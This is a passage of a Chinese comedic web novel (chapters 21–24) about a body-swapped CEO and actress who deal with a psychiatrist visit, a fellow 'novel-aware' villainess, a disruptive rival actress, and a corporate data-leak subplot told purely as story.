“我真不认识你。”乔缨无奈。 蒋南宇攥紧拳头,片刻后松了松,嗤笑一声。 他眼里闪着嘲弄,缓缓开口:“裴总的生日快到了吧?到时候我会给你准备一份大礼,希望裴总别嫌弃。” 说完也不等乔缨回答,自以为姿势很帅很松弛地弯腰,抱起狗走远了。 老胡肥硕的身子让他的小身板颤了颤,一颗狗头搭在他肩膀上,对着乔缨吐舌头。 乔缨一脸茫然,拍了几张蒋南宇的背影,发给裴砚知。 【磷脂分子:你认识这人吗?】 【磷脂分子:他说要送你生日礼物耶!】 【磷脂分子:你老公?】 掌心里的手机震了几下,裴砚知低头瞥了一眼,额角抽动,差点一口气背过去。 【Dioretsa:你老公。】 坐在对面的柳黎观察着他的表情。 半晌后,她露出了一个温和的笑:“乔小姐的精神状态看起来好了很多,你最近还有臆想和失眠的症状吗?” “……没有。”裴砚知放下手机,语气谨慎而迟疑。 他也是昨天才发现,乔缨或许有精神方面的问题。 难怪会觉得桌面上的药片眼熟,因为那几盒全是常见的精神类药物。 之前和沈颐打电话时的异常行为,或许并不是因为低血糖,而是身体的应激反应。 得知这一情况后,他立即在联系人里找到乔缨的心理医生,约好今天见面的时间。 本以为乔缨是因为职业原因,有焦虑症和抑郁倾向,甚至还有疑似躯体化的症状。 现在听起来,事情似乎比他想象中的还要严重,更像是精神分裂症的前兆。 裴砚知问:“我之前发病的时候是什么症状?” “唔……” 柳黎撑着脑袋想了想,“你怀疑这个世界是一本书,而你只是其中的npc,一直在被剧情强制性操控着人生。” 裴砚知:…… 搞文艺的人果然想象力丰富。 “同时还表现出轻微的暴力倾向,以及疑似偏执型精神障碍。” 柳黎盯着他的眼睛,平静陈述。 “你怀疑世界的真实性,并执着于找到「缸中之脑」的证据,虽然我仍未弄明白诱因,但很显然,你陷入了一场存在主义危机。” 20-30 第21章 第二十一章 两大恶毒女配终于在精神病…… 诊疗室外的休息区。 裴砚知坐在松软的沙发上, 凝眸看着乔缨的就诊档案,表情莫测。 乔缨有暴力倾向,其实是能猜到的。 普通人虽然嘴上爱说要毁灭世界, 但也没几个人真去做。 可她却大半夜跑去烧自己家,对乔家父子恨到极致是一个方面, 冲动偏执、行事乖戾是另一方面。 视线下移,过往病史那一栏里, 还写着幽闭恐惧症。 这倒是裴砚知没有想到的, 难怪那天饭店停电时,喻季年的反应那么奇怪。 从过往的交流看,乔缨似乎非常不愿意让别人察觉到自己的弱点。 平日里虽然总是插科打诨,爱说些不着调的胡话,但却总让人觉得隔了一层雾, 很难真的和她亲近起来。 哪怕是和她互换了身体、关系匪浅的裴砚知, 乔缨也对他抱有天然的不信任感,一直生硬地拒绝着他的善意和靠近。 当然了, 除了给她钱的时候。 所以……乔缨这些年到底都过的些什么日子? 正常家庭长大的小孩可不是这种状态。 裴砚知头疼地捏捏眉心。 他无意窥探别人的隐私,但现在两人的命运已然纠缠到了一起, 他没办法只当个冷眼旁观的看客。 这几天的经历像是拼图, 拼拼凑凑后得以窥见乔缨人生的一角———诡谲、绮丽、失控。 而他讨厌失控的感觉。 身侧的沙发忽然陷下去一块。 裴砚知抬眸,一个女人坐在了他身侧, 凝重肃然的神色中带着一丝淡淡的迷茫。 女人的穿着很考究。 一身职业西装干练利落,长发被一丝不苟地压在耳后, 配饰精致优雅, 是很经典的都市白领形象。 现代人职场压力越来越大,来看精神科实属常见。 裴砚知甚至还给昭星专门配备了一个心理咨询室,就怕他手底下这群员工出现心理问题。 女人的手里紧紧攥着一张报告单, 看样子,她应该也是个刚确诊的患者。 裴砚知不喜欢和陌生人靠得太近,他不着痕迹地往外挪了几寸,将口罩往上拉了拉。 正当他扶着墨镜重新坐直身体时,女人忽然毫无征兆地转过头。 漆黑的瞳孔犹如一汪深不见底的湖水,眼底藏着野心勃勃的欲望。 但女人的神态又给人一种正派的感觉,让人畏惧的同时,也莫名觉得可靠。 片刻后,女人幽幽开口:“你相信这个世界是一本书吗?” 裴砚知动作一滞,不由得皱眉。 这已经是他第二次听到这个问题了。 上一个这么问他的人还是乔缨。 难得,这还是一个症状相同的病友。 裴砚知作出判断,没有回答。 “抱歉,我吓到你了。” 秦铮攥住报告单,紧紧蹙着眉头,叹了口气。 她发誓,她真的不是疯子。 或许是身边这位小姐有一种“只要你死缠烂打就会满足你”的气质,她才一时头脑发热,去和一个陌生人说这些。 事情还得从昨天那个奇怪的梦说起。 在梦里,秦铮生活了二十几年的世界竟然只是一本小说,名字还恶俗得很,叫《一胎七宝:影帝娇妻哪里逃》。 作为一本教科书般的配平文学,书里一共有三对cp:女主阮绵绵和男主沈颐,女主闺蜜许声蕴和男主兄弟傅司宴,以及女主助理林诗怡和男主助理周商越。 如果自己只是个无名路人甲倒也罢了,偏偏她还是个重量级炮灰———许声蕴的同事。 两人共同就职于一家知名4A广告公司,关系一直不对付。 作为在副cp线里的恶毒女配担当,秦铮自负又傲慢,刻薄且恶毒。 她嫉妒许声蕴在职场上的表现和能力,认为许声蕴靠傍男人抢夺自己的资源,做了很多匪夷所思的事情陷害她。 删文件、偷策划、抢功劳、背后造谣…… 什么降智做什么,给人下绊子没有半点职场老油条的狡猾。 而身为恶毒女配,她当然不配得到好结局。 由于霸道总裁傅司宴冲冠一怒为红颜的打击报复,秦铮最后被公司调岗开除,业界名声毁于一旦,下场凄惨。 听起来真是很荒谬。 她秦铮一生要强,不出卖自己,不依靠他人,本本分分、兢兢业业、勤勤恳恳,倒底犯了哪门子的罪投胎到这本蠢书里。 她或许自傲,但她有自傲的资本。 她做出来的爆款广告数不胜数,累计播放几个亿。 而许声蕴已经来了公司大半年,至今连个完整的策划案都写不出。 空有长相,资质平平,到底哪点值得她秦铮嫉妒了? 而且从原著里的内容来看,恶毒女配秦铮对许声蕴的评价虽然难听了点,却也没什么毛病。 一个徒有其表、热衷雌竞的娇妻花瓶,可不就是靠傍男人才过得顺风顺水,阶级跃升成天龙人,才把她这样的炮灰踩在脚下。 比起嫉妒。 秦铮更多的是看不起和不屑,以及身为普通人不得不屈服于关系户淫威下的无奈。 更一言难尽的是,书里描写的职场中,男性之间的相处各个谦卑有礼、互相欣赏,好一个兄弟情谊。 而女性呢?就只能跟宫斗剧里似的勾心斗角、乌烟瘴气,整天不干正事。 作者找个班上吧。 但凡上过班的都写不出这种抽象的剧情。 秦铮摇摇头,终于抬眼向身侧被她打扰的女人看去。 哪怕看不清脸,也能感觉出对方的气质出众,不似寻常人。 在广告业工作了这么多年,秦铮有着非常出众的职业敏锐度。 她的眼神很准,准到一眼就能看出来,坐在她身旁的女人就是乔缨。 同为天涯沦落人。 原著中的两大恶毒女配,终于在精神病院完成了历史性的会晤。 秦铮激动中带着犹豫,不知道乔缨是否和自己一样从原著中觉醒。 而且她做梦时的注意力,全都放在副cp的剧情上了,她并不清楚现在的主线剧情发展到了哪个阶段。 乔缨的下场似乎比她还惨,她好歹还只是丢了工作,但乔缨可是连命都没了。 想起匆匆一瞥的悲惨结局,秦铮决定提醒一下乔缨。 她凑近些许,紧盯着裴砚知的脸,郑重其事道:“你,记得离沈颐和阮绵绵远一点。” 裴砚知疑惑抬眸,在秦铮严肃认真的眼神里,缓缓点了下头。 这都什么跟什么。 难道沈颐和阮绵绵的口碑已经差到连普通群众都人尽皆知的地步了? 见他答应,秦铮瞬间如释重负,松了口气。 还以为会被当成骚扰明星的粉丝,看来乔缨的脾气并没有外界传说中的那么差。 她拿出手机,点开二维码,咳了一声:“我们加个微信吧,偶尔还可以交流一下病情。” 想起疑点重重的「世界是本书」的假说,裴砚知欣然答应。 添加完好友,秦铮想起下午还有工作要处理,立即起身,走之前匆匆递给他一张名片。 她语气诚恳:“我叫秦铮,如果你需要找人聊天的话,欢迎随时找我。” 裴砚知接过名片,和雷厉风行的秦铮道了再见。 低头看一眼,原来她是广告公司的AE。 怪不得秦铮能认出自己,性格还这么自来熟,都是职业病。 说起来,量闻的比稿也比了好几轮,但他始终没找到一个很满意的广告方案。 秦铮的公司似乎也参加了比稿,不过项目负责人是一个姓许的女孩,让他印象很是深刻。 做得稀烂。 预期中官宣代言人的日子越来越近,他和乔缨那条莫名其妙的绯闻也在沈颐和徐言洲的共同努力下炒出了新高度。 要是再不抓紧时间,这波热度就白白错过了。 他盯着手里的名片,陷入沉思。 — 昭星大楼。 阮绵绵 戴着墨镜,对着前台甜甜开口:“你好,我想见你们裴总。” 前台报之以礼貌微笑:“裴总现在不在公司,请问您有预约吗?” 谁家总裁周末还在公司待机啊。 “没关系,裴总认识我,我在这里等他吧。” 阮绵绵摘下墨镜,云淡风轻地瞥她一眼,眼里闪过一丝讽刺。 她觉得自己像是小说里来公司给霸总送饭却被前台为难的女主角。 接下来的剧情一定是裴砚知出现后,发现自己被刁难,将前台开除,狠狠打脸。 这些狗眼看人低的底层人就应该被惩治,看前台打扮得花里胡哨的,一定心思不纯,觊觎着裴砚知。 当她被自己喜欢的人开除时,一定会如遭雷劈崩溃吧? 想想就有些兴奋。 阮绵绵靠在沙发上,指甲因为激动深深陷进手心里,掐出了几道红痕。 业界消息称,量闻的代言人最终选择了乔缨。 这几天接二连三的事情让她很是头疼,沈颐否认了他们的关系,乔缨又抢走了她的代言,阮绵绵一时间沮丧不已。 她在男粉群里发了几条emo的消息,没想到粉丝纷纷出来安慰自己,还给她出了不少主意。 【女神别伤心,我就敢这么说,你最起码是在国内最安全的女艺人。】 【对啊对啊,粉丝全是体育生,一呼万应,你要是有需要,体育生能让一个地方消失,更何况一个乔缨,没必要担心。】 【不要小瞧了羁绊的力量,体育生可能钱少,他们的力量可不是吃干饭的,直接给她打成糍粑!】 【很多年后,我的孩子问我,爸爸你以前的偶像是谁呀?我拿出了阮绵绵的照片,孩子说,你骗人,这不是妈妈吗?我和正在厨房里的阮绵绵相视一笑。】 【绵绵女神不要妄自菲薄,能被我们这群大男人喜欢喜欢是你的荣幸。】 哇,好有安全感哦。 还是男粉丝好,体贴入微又不拘小节,哪有女粉丝那么多弯弯绕绕疯疯癫癫的,像叶诗月那样,净知道给她添乱。 也正是这些男孩子给了她莫大的勇气,阮绵绵才敢直接来昭星总部,再为自己争取一把代言人的机会。 没关系,像她这样的坚韧小白花女主,总是要经过死缠烂打才能获得总裁的赏识和青睐。 她握了握拳,给自己加油打气。 前台则是满脸问号,觉得这人莫名其妙。 看阮绵绵对着空气一会儿哭一会儿笑的,她被吓出了一身鸡皮疙瘩,连蜘蛛纸牌都玩不下去了。 就在阮绵绵捏起拳头挥舞的瞬间,她惊愕地拿起对讲机,对着保安紧急报告道:“Mayday,mayday!一楼大厅进来了个疯子,看着像是来揍老板的!” 第22章 第二十二章 他们压抑!他们愤怒!他们…… 乔缨左脚刚踏进一楼大厅, 就觉得有些不对劲。 怎么感觉空气里有股怪味儿? 她皱着鼻子嗅了嗅,闻着像是什么东西被烧焦后散发出的气味。 还酸酸的,臭臭的, 带着一股神秘的糊味。 这味道还怪熟悉的,和她每次做饭时灵机一动烧出来的碳化菜一模一样。 谁在昭星炸厨房了? 乔缨瞪大眼睛, 正要迈出右脚,一个提着粉色保温桶的人影猝不及防闯入了她的视野。 阮绵绵矜持地捋捋头发, 笑容温婉。 她向前迈了几步, 亲昵道:“裴总,我给你煲了鸡汤———啊!” 话还没来得及说完,一道如小山般威武雄壮的身影突然出现,路过时掀起的风让阮绵绵原地旋转了三百六十度,往后踉跄几步才堪堪站稳。 那人挡在乔缨的身前, 手里一柄钢叉直直对着阮绵绵的脖子, 表情凶狠。 阮绵绵眼里刚酝酿起的笑意瞬间化为了惊恐。 只听保安室的黄大姐举着钢叉,雄赳赳气昂昂, 仰天怒喝一声: “裴总别怕!我来保护你!” 乔缨的表情和阮绵绵也差不了多少。 她蹙起两条眉毛,语气惊诧得仿佛是在白日里见了鬼:“这是怎么了?” “报告老板!前台小廖说有个疯子埋伏在一楼, 想要袭击您!” 黄荣华紧握着手里的武器, 一瞬不瞬地瞪着阮绵绵,中气十足:“我马不停蹄带队赶了过来, 果然老远就闻到了一股臭味!这疯婆娘居然试图用泔水泼老板!” 乔缨震惊,转头看看小廖。 闻言, 后者迅速从电脑屏幕前抬起头, 双目一凛,脸上倒映着绿光,给了她一个忠心耿耿的坚定眼神。 “你说什么呢!这……这不是泔水!我也不是疯子!” 阮绵绵涨红了脸, 羞愤地捏紧了小拳头,气得在原地跺脚。 什么叫泔水?! 这明明是她特意找沈颐要的独家秘方,还千叮咛万嘱咐,让林娇娇从凌晨三点就开始熬的鸡汤好不好! 整整煲了六个小时啊! 为此她甚至还给了林娇娇加班费! 裴砚知从哪儿招的这帮碎嘴子老女人,一群不识货的泥腿子! 开除,统统开除!裴砚知一定也会觉得这种女员工丢脸吧! 她把墨镜摘下,一双潋着水光的眼睛委委屈屈地看向裴砚知,好像笃定了对方会为她出头似的。 阮绵绵期期艾艾:“裴总,您难道不认识我了吗?” 还没等乔缨开口,一旁的保安队里忽然钻出来一个160x180的长方体男子。 那人在看清阮绵绵的长相后,窄而迷你的双眼霎时冒起了黄鼠狼般的绿光,鼻翼开始兴奋地收缩。 他迫不及待往前挤了挤,然后亮起自己的手机屏幕,跳起来对着阮绵绵振臂高呼:“我认识你!我老婆,你是我老婆!” 震耳欲聋的声音穿过大厅,传达到现场每个人的耳朵里。 单纯的黄荣华信以为真,尴尬地放下了钢叉,对着阮绵绵连连道歉:“对不起呀小姑娘,原来你真是来送饭的啊,不好意思,不好意思。” 长方体也憨憨笑着,并不做半句澄清。 温室里长大的阮绵绵大概是应付不来这种场面,只是呆愣愣地站在原地,手里还提着那个万恶之源的保温桶。 看着长方体腻腻歪歪的样子,乔缨忍不住皱了皱眉。 大庭广众之下,这是性骚扰吧? 而且长成这副尊容,倒底是谁把他招来当保安的?三高人群应该不适合剧烈运动吧? 哪怕她再讨厌阮绵绵,也不至于眼睁睁看着她被一扇猪这么欺负。 她正要走过去给长方体的后脑勺来一巴掌时,阮绵绵忽然动了。 出乎意料却又情理之中的,她回过神来,缓缓拉起了长方体的手。 阮绵绵wink了一下,俏皮地吐吐舌头,温柔道:“你是棉花糖吧?对啦,我就是你的老婆绵绵呀~今天也要努力工作哦!” 说罢,她单手握拳,比了一个加油的手势。 看她打出来的这一套连招,乔缨脚步一顿,顿时没了兴致。 算了,本人都乐在其中,她又何必狗拿耗子多管闲事。 不过这么没边界感地讨好男粉,可不是啥好事。 可谁知,阮绵绵还没打算放过她,突然转过头一脸深情地对乔缨进行诗朗诵: “我的粉丝都是这样努力发光的大男孩,为了车贷房贷和彩礼压弯了脊背,他们压抑!他们愤怒!他们苦啊!可他们仍咬牙坚持好好生活,我好心疼,希望女孩子们能给心爱的男孩一些宽容和理解!” 小廖翻了个大白眼,捏着鼻子阴阳怪气:“你心疼你就把钱捐给你心爱的男孩呗。” 长方体则以为阮绵绵是在和她告白,痴痴地看着她,心里盛满了喜悦和幸福。 他低下头,打开某贴吧,发帖炫耀: 【兄弟们,这波怎么说,有女明星给我告白了!】 然后又切换到微博,在阮绵绵微博下留了一句浪漫的情话:【尽管你不是很漂亮,也不是很完美,但我依旧 愿意喜欢你,包容你。赚钱,盖房,娶绵绵,人生的三件大事都有你参与!】 而阮绵绵说完,则是站在原地静静看着乔缨,好像在等待她的褒奖。 “裴总,我是一个善良的好女孩。” 乔缨:“哦。” “我和乔缨那种不择手段往上爬的女人不一样。” 乔缨:“嗯。” 阮绵绵深吸一口气:“我的粉丝也很有实力,您没必要为了生我的气而找故意乔缨这种劣迹艺人。” 乔缨微笑着看向黄荣华:“扔出去。” “为什么!” 阮绵绵惨叫一声,被人高马大的黄荣华腾空架起。 扔出昭星大楼时,她的一只手仍死死扒拉着门框,哭得那叫一个梨花带雨。 她像虐文女主一样黯然垂泪:“裴砚知,你会后悔的!” 徐言洲看了半天热闹,也没看明白阮绵绵的脑回路。 她不会以为……裴砚知选乔缨这个对家当代言人,是故意气她的吧? “阮小姐,你还是赶紧走吧,等会儿裴总就该真的生气了。” 徐言洲秉持着人道主义精神劝了两句。 阮绵绵瞪了他一眼。 她知道徐言洲。 一个北方十八线小城出来的人,哪怕在京市站稳了脚跟,也还是小镇做题家的眼界,上不得台面。 “裴总,我———” 阮绵绵张开嘴还想替自己辩解,黄荣华将她往园区的观光车上匆匆一推,不耐烦道:“咋还磨磨叽叽的,赶不上趟了都快。” 她朝司机使了个眼色,小火车当即发动,载着绝望的阮绵绵一路“呜呜呜———”地扬尘而去。 乔缨目送她离开,内心感慨万千。 她再也不在背后骂人了。 这要是谁和谁再灵魂互换了骂到本人面前,保不准她会和今天的阮绵绵一样社死。 抬步向电梯走去,经过长方体身边时,乔缨忽然转头看着他,眼含打量。 长方体也是盛衍塞进来的人,只不过因为太不起眼就被她遗漏了。 她上下扫了一眼,道:“身高体重不达标,你被开除了。” 长方体迟钝的脑子转了好几秒,等他反应过来发生了什么时,只能对着背影嚎叫:“裴总!不是这样的,您听我说!” 前台小廖幸灾乐祸地笑出了声。 这人之前就挺招人讨厌,说话时总爱开两句低级黄腔恶心人,被荣华姐按在地上揍了一顿后才老实了一段时间。 进了电梯,徐言洲一脸菜色地跟在身后,乔缨瞅他两眼,问:“你怎么了?” 徐言洲面如死灰:“我刚刚出于好奇,尝了一口阮绵绵的鸡汤。” 乔缨好奇:“什么味道?” “就像见到我姥爷,吃到我姥爷做的饭一样。” 徐言洲竖起两根手指,“第一,我姥爷去世了,第二,我姥爷不会做饭。” 因为是周末,除了少数几个需要值班的部门,整座大楼里只有她和徐言洲说话的声音。 “说吧,大周末的把我叫到公司,到底出什么事了?” 乔缨双手插兜,眼神怀疑,“你是不是被阮绵绵收买了,故意把我骗过来的?” “冤枉啊,我要是一早就认识了阮绵绵,就不用每年清明祭拜都求我姥爷托梦彩票中奖号码了。” 徐言洲举手作投降状,言之凿凿:“鸡汤一喝,他老人家直接显灵!” 他一边扯淡,一边推开会议室大门,坐在电脑前的赵予珞简单给两人打了声招呼。 她推推眼镜,道:“我就不说废话了,有人泄露了咱们公司的数据。” 连上内部网,赵予珞点开一份机密文件,将电脑屏幕转到乔缨面前。 “这是咱们正在研发的,针对新能源汽车的第三代移动充电机器人,精卫。” 和量闻的项目书一样,页面上密密麻麻全是数据,看得乔缨两眼发黑,一阵眩晕。 “和之前的产品相比,这一代的主要优势是采用了全自动化模式,图像识别和定位算法更加精准,昭星自研的涂层材料也大大降低了安全隐患。” 随后赵予珞不知从哪里变出来一个半人高的纸箱子,里面装着一堆眼熟的零部件。 她拍拍纸箱,示意两人看向屏幕上的设计图,道:“但是最近市面上出现了一款移动充电桩,还没实现量产,全市只在试点区域投入了二十多台。我拆开研究了一下,无论是外观还是结构设计和系统集成,全都和精卫一模一样。” 徐言洲震惊:“你从哪里搞到的?” “这正是最诡异的地方。” 赵予珞摸摸胳膊上的鸡皮疙瘩,“这玩意儿今早突然出现在了我家门口,用快递箱装着,没有任何信息。” 第23章 第二十三章 加州大雨砸电脑,曾经江北…… 房间内, 一时寂静无声。 中央空调的风口溢出暖热气流,却吹得人背后凉飕飕的。 乔缨看向那堆被拆得七零八落的零件,艰难地从外壳上辨认出几个字, 缓慢念道:“盛……宇……科技?” “这家公司以前的主营业务是汽车零配件制造,有自己的工厂, 只是因为产品质量一般,所以绩效不好, 前不久刚被某企业收购了。” 赵予珞停顿了一下, 看向乔缨,表情有些微妙:“这个某企业,全名叫盛合地产。” 乔缨震惊,忍不住拔高了语调:“盛合?” 就乔家那些大字不识几个的文盲,还能和科技扯上关系? “这还不算完, 更精彩的还在后头。” 点开盛宇科技的官网, 主页上挂着一张股东大会的照片,看更新日期, 就在昨天。 赵予珞指着照片上的男人,说:“据说新上任的CEO是盛合花重金从美国挖来的人才, 名字也耳熟得很, 叫蒋南宇。” 这下轮到徐言洲震惊了:“蒋南宇?” “你俩这一惊一乍的干什么?” 赵予珞揉了揉被声波攻击到耳朵,疲惫道:“都过去这么多年了, 没想到还能和他扯上关系。” “狗改不了吃屎。”徐言洲冷哼。 等等,难道他们都认识这个人吗? 乔缨默默掏出手机, 看看电脑上的图片, 再看看手机上的背影照,几经对比,确定了这就是同一个人。 “他和我有仇?”乔缨疑惑。 “你难道不记得了?”徐言洲睁大双眼, 扑过来摇晃她的肩膀,“何止是有仇,当年他做的那些事简直是天理难容。” 赵予珞点头,忿忿道:“我们去蒋南宇公寓门前砸了一个月的臭鸡蛋,还差点被抓呢。” 在两人略显激动的叙述里,乔缨终于了解到几人过去的恩怨。 在裴砚知研制第一款无人机时,昭星的初期其实是有四个人的。 那时他们都在科大读书,每个人专业都不相同,却在论坛里因兴趣结识,相见恨晚,打得一片火热。 开始创业后,根据专业方向,每个人的分工不同,其中蒋南宇主要负责数据的采集和分析。 众所周知,每一个散伙人的故事里,总会有个利欲熏心的叛徒。 所以后来某一天,蒋南宇带着偷出来的数据坐上了出国的飞机,从此人间蒸发,没了消息。 “我当时都快气得要砍人了,这孙子就这么一走了之,留了一堆烂摊子给我们。” 赵予珞撇撇嘴,“幸好他是个不怎么懂技术的半吊子,偷出去的那些算法资料只是一些不完整的碎片罢了,连边角料都算不上,这才没造成太大的损失。” “蒋南宇家境富裕,又不差这点钱,所以我一直想不明白他为什么干这种缺德事,不过嘛,今天总算是知道答案了。” 徐言洲看着照片上的人,语气凉飕飕地调侃道:“也是被他骗到藤校offer和美国绿卡了呗。” 这么一想,那确实还挺划算的。 乔缨倒了几杯温水递到两人面前,对这种创业伙伴分道扬镳的剧情接受良 好。 比起一些加州大雨砸电脑,一些曾经江北今不在,至少昭星的背景故事可体面多了,结局也很不错。 不过更让她惊讶的是赵予珞。 从她收到快递到现在,不过只过去了短短一个小时而已,她不仅拆解了一只机器人,还收集到了这么多有效信息,专业能力和办事效率称得上一句恐怖。 这个女人,强得可怕。 正在接受乔缨眼神膜拜的赵予珞却浑然不知,一手撑着下巴,高深莫测地思考着人生大事。 蒋南宇现在敢大张旗鼓地回国,是因为搭上了乔俞诚这条线才有恃无恐,连带着身价也水涨船高。 而在她的印象里,乔家兄妹的关系似乎很融洽。 如今老板娘的哥哥却和老板的仇人搅在了一起,怎么看都是狗血虐文的走向。 后续剧情用脚都能猜到,裴砚知一定会怀疑是乔缨泄露了资料,然后两人一个误解猜疑,一个闭嘴不说,乔缨绝望死遁后在多年携天才萌宝强势归国——— 爹的,想想就觉得荒谬。 不要啊,她不要当追妻火葬场的npc! “你们说,”赵予珞思忖再三,忽然开口,“这机器人,会不会是乔缨送我的?” 乔缨一口水差点喷了出来,惊惶道:“谁?” 她、她吗? “你的绯闻女友,咱们的老板娘啊。” 赵予珞越想越觉得有道理,一拍大腿,“她一定是发现了什么问题,碍于关系不好直接给老裴说,才找了这么一个迂回的方法掩人耳目。” 乔缨目瞪口呆。 姐,你对我一个娱乐圈混子的智商有什么误解? 没想到徐言洲也一脸赞同,转头看向乔缨,眼里满满的求知欲:“说起来,咱老板娘本科时好像不是学表演的,就小时候拍过几支广告和零星客串过几个角色……她为什么后来又进圈了?老大你知道吗?” 乔缨汗流浃背了。 好啊,这个问题问得好啊。 温知识,她大学学的化工专业。 冷知识,她是因为找不着工作才进的娱乐圈。 尤记那年杏花微雨,实验室有个同学离心机没配平,差点把天花板打穿。 乔缨仓皇逃窜之余不免心生敬意,这科研人员还真不是一般人能当的。 而她确实不是这块材料。 也幸好自己做了这个决定,对她这样的表演型人格来说,演戏无异于是释放压力的最好方式。 乔缨如今的自信和高配得感来自于鲜花和掌声,如果没有来娱乐圈,她的心理状态或许比现在还要糟糕。 所以乔缨一直觉得,原著里她大结局喊的那句———“我只是想要有人爱我”,非常刺耳。 难道只有爱情才算爱吗? 粉丝的爱也是爱,她对自己的爱也是爱,连风绕过她的头发,都是宇宙对她的爱。 这些,她都能感受得到。 她在这片贫瘠的土地上,疯狂滋长着灵魂的血肉。 回忆片刻,乔缨弯了弯唇角,故作高深地说:“你不懂,她有自己的艺术追求。” 而后,她忽然眼神一滞,两眼放空道:“再说,你要读的是天坑专业,你也想转行。” 俗话说得好,毕业进厂三班倒,实验烧伤毒性高,横批:别来,快逃。 “我同意。” 徐言洲沉痛垂眸,皮笑肉不笑地扯了扯嘴角:“老师一句「二十一世纪是生物的世纪」骗了我好久,吭哧吭哧读这么多年书,才发现我的天职原来是做销售。” 现场唯一一个还在坚守本专业的赵予珞,无比同情地拍拍他的肩膀,“你们生化环材还真是遍地开花啊。” 真是越听越心酸。 乔缨咳了一声:“总之,我和乔缨不是你们想的那样,这事也和她没关系,但我大概知道是谁做的了。” 说罢,她起身推开会议室大门,拿起被徐言洲随手放在门口的粉色保温桶,视死如归地走到茶水间前,按下开水键。 跟在她身后的赵予珞和徐言洲深感不妙,捂着鼻子仓皇后退。 可后退也赶不上空气流动的速度。 在哗啦啦的流水声里,一股难以形容的腐臭气味瞬间弥漫开来,霸道又强势地钻入两人的鼻腔。 大脑被熏得一阵眩晕,徐言洲两眼发黑,左脚绊右脚摔了个大屁股墩。 他在地毯上蛄蛹了两下,四肢逐渐失去了力气,被赵予珞费力拖进了会议室。 他一边干呕,一边崩溃大喊:“裴……哕……你要……哕……干什么……哕……” 站在原地的乔缨提着保温桶,宛如老僧入定,不动如山。 半晌后,她盖上保温盖,淡淡道:“去浇发财树。” 远在一楼的小廖也闻到了这股味道,身为前线记者,她再次打开摸鱼群,捏着鼻子飞速跟踪报道:【家人们,公司的厕所好像炸了!】 群里立即有人回:【真的假的?明天能不上班吗?我还能带薪拉屎吗?】 而京市的某个出租屋内。 瘫在床上的林娇娇打了个喷嚏,看着手上的水泡,生无可念。 老天奶,沈颐这鸡汤方子是不是会生成什么放射性物质啊? 居然歹毒到让她直接躺地板上晕了俩小时! 要不是室友提前回来发现了她,她恐怕今天就要交代在这里。 阮绵绵也像是脑子有包一样,自从上次副驾驶的乌龙出现后,就一直对她态度很差。 她今早熬好鸡汤送到阮绵绵家里时,脸色已经很不好了,阮绵绵却连让司机送她回家的请求都得林娇娇再三恳求才答应。 后来林娇娇寻思着吃点水果压压味儿吧,所以上车前顺路买了一份果切。 阮绵绵看到后,忽然莫名其妙阴阳怪气地来了句:“娇娇不会也喜欢车厘子了吧?” 服了,这都什么狗问题。 她喜欢榴莲行了吧,找个黄道吉日,等她吃完榴莲,直接把这臭傻叉熏死算球。 再让沈颐和阮绵绵这么高强度地折磨下去,她迟早有天折在这俩人手上。 林娇娇盯着窗框上的晴天娃娃,两眼发直,想和它一起上吊。 “你醒啦?要不要出去透透气?” 室友端着一杯牛奶推门进来。 室友的名字叫王承书,好像是在哪个大公司当工程师,虽然平时话少了点,但其实很好相处。 林娇娇道了声谢,接过牛奶猛灌了几口。 今天天气很好。 换好衣服出门,太阳照在身上暖洋洋的,连带着心情都好起来。 她们住的这个小区地段不错,周围有很多公司,自己上班也方便。 两人穿过马路来到街对面,这里好像新开了一家科技公司,开业仪式整得特别隆重,连装修都很豪华,还附带了一个大花园。 王承书提议去看看热闹,刚走近没几步,却发现门口有个鬼鬼祟祟的身影,很是眼熟。 因为是周末,这家科技公司大门紧锁,连个保安都没有。 只见那道身影左顾右盼后,忽然迅速掏出一个保温桶,以迅雷不及掩耳之势往门口的发财树里倒了一滩黑色液体。 林娇娇看呆了:“我们这是目击到了什么商战现场吗?” 王承书皱眉道:“我怎么感觉,这背影有点像我老板?” 那人似乎察觉到了两人的视线,压低帽檐飞速拐进了墙角的小巷,消失不见。 走上前一看,原本一盆鲜艳欲滴的发财树如今却散发着浓郁的恶臭,根部迅速腐烂,连叶子都枯萎得掉了一地。 “我去,哪个绝命毒师做出来的超级百草枯,见效这么快?” 林娇娇再度震惊,“你说那人是你老板?这是你们公司新研发出来的杀伤性武器吗?” 王承书困惑地摇摇头,“我不好说,背影看起来确实很像,但又觉得怪怪的。” “哪里怪?” 林娇娇不解,科研狂人不都是这样吗? “我们老板还是很帅很狂炫酷霸拽的,但这人吧……” 王承书回忆着那人跑步的姿势,沉思道:“他像个一米九的娇俏大姐。” 第24章 第二十四章 这里是中国,放 如果说世界是个巨大的草台班子,那么娱乐圈的这群草包,很显然连根木头桩子都支不起来。 裴砚知坐在演播室,听见导演第一百零八次喊“卡”时,作出了如上总结。 台下的执行导演擦擦额头上的细汗,第一百零八次给台上卡壳的嘉宾递去了写着台词的小纸条,背过身后一脸晦气地翻了个白眼。 他们正在录制的,是一档名叫《银幕背后》的访谈节目。 节目组每一期都会邀请几位来自娱乐圈不同领域的嘉宾,针对某一主题进行深度对话,共同探讨一些行业发展的问题。 因为制作精良,偶尔还会因为嘉宾们讨论得太激烈而碰撞出小火花,所以收视率一直不错。 但众所周知,这一行从业人员的平均智识水平或许还比不上海淀区的鸡娃小学生们,指望他们能自主说出三十个字以上且逻辑清晰的话,难度不亚于教猪上树。 所以很多参加节目的嘉宾团队都会要求制作组事先准备好文稿,在拍摄时直接背诵。 省时省力,还能在事后发通稿吹一波自家艺人的文化内涵。 譬如,现在正坐在裴砚知对面的这位一线男爱豆,谢燃。 因为他频频忘词,原本五分钟的录制硬生生被他拖成了俩小时,其间还夹杂了数次吵着要罢演的闹剧。 一会儿要喝咖啡,一会儿要吃牛排,一会儿要打游戏,工作人员只能跟在他屁股后面低三下四地哄,整个演播室都弥漫着一股浓郁的怨气。 好不容易把人哄回来了,谢燃看了看小纸条,又不耐烦地往后一仰,大声抱怨:“写这么长,谁特么背得出啊!” 不知道的,还以为让他背的是陀思妥耶夫斯基全集。 连短短三句话都记不住,说句绝望的文盲都侮辱了文盲这两个字。 裴砚知冷冷瞥他一眼。 肿胀的眼,透光的鼻,歪斜的嘴唇,鞋拔子的脸型。 谢燃像是发育过程受到抑制的病例,又像是上个世纪卖不出去砸在手里的赔钱货,不仅细看残忍,粗看也残忍。 要是自己活成这样,他早就去上吊了。 可惜,这是在全国最封建的地方———娱乐圈。 